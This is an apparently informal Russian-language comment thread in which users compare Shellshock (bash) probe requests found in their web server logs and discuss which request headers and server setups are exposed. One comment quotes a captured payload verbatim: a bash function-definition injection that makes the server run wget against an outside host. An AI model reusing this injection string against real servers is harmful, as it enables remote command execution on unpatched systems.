Дата рождения: 01.11.1983
Тотальная неудачница и убийца жёстких дисков. Самая большая поклонница Ариэль. Член ордена Вселенского тормоза имени Осаки-сан. Любительница каваййных переднеприводных машинок. Суккуб на полставки. Когти прилагаются.
Linda-chan
stanis
До-до-до-до!
У меня вот таких неожиданно аж сорок семь штук.
"() { :;}; /bin/bash -c "wget -q -O /dev/null http://ad.dipad.biz/test/http://something.com/""
a1batross
Linda-chan, может мне уже свой баш сделать, который не будет иметь функций внутри переменных >_>
liuch
Linda-chan, У меня это началось еще 27го сентября
Linda-chan
librarian
ash это шелл в фряхе
Tenno-Seremel
Хакиры не дремлят!
stanis
Tenno-Seremel
Linda-chan
Tenno-Seremel, что-то они как-то стормозили.
liuch
Toyoku-mono
Linda-chan, а если это поставить в X-Forwarded-For или Referrer?
Linda-chan
Toyoku-mono, что ты имеешь в виду?
У меня урл другой и набор опций для wget, но суть та же.
При этом на сайт сыплет ошибками mysql. Не подготовились к такому наплыву )
Кстати, оно влияет на любителей всяких пыхпыхов или на статику тоже?
Linda-chan, зависит от того как и чем эти данные будут обработаны.
Самим сервером по формуле: принял запрос, прочитал файл с диска, отправил ответ.
Linda-chan, А зачем данные об юзерагенте для того что бы прочитать файл статики? Ну разве что для особо извращенных конфигураций где содержимое статики зависит от браузера.
Не знаю зачем, но мало ли как оно там внутрях устроено.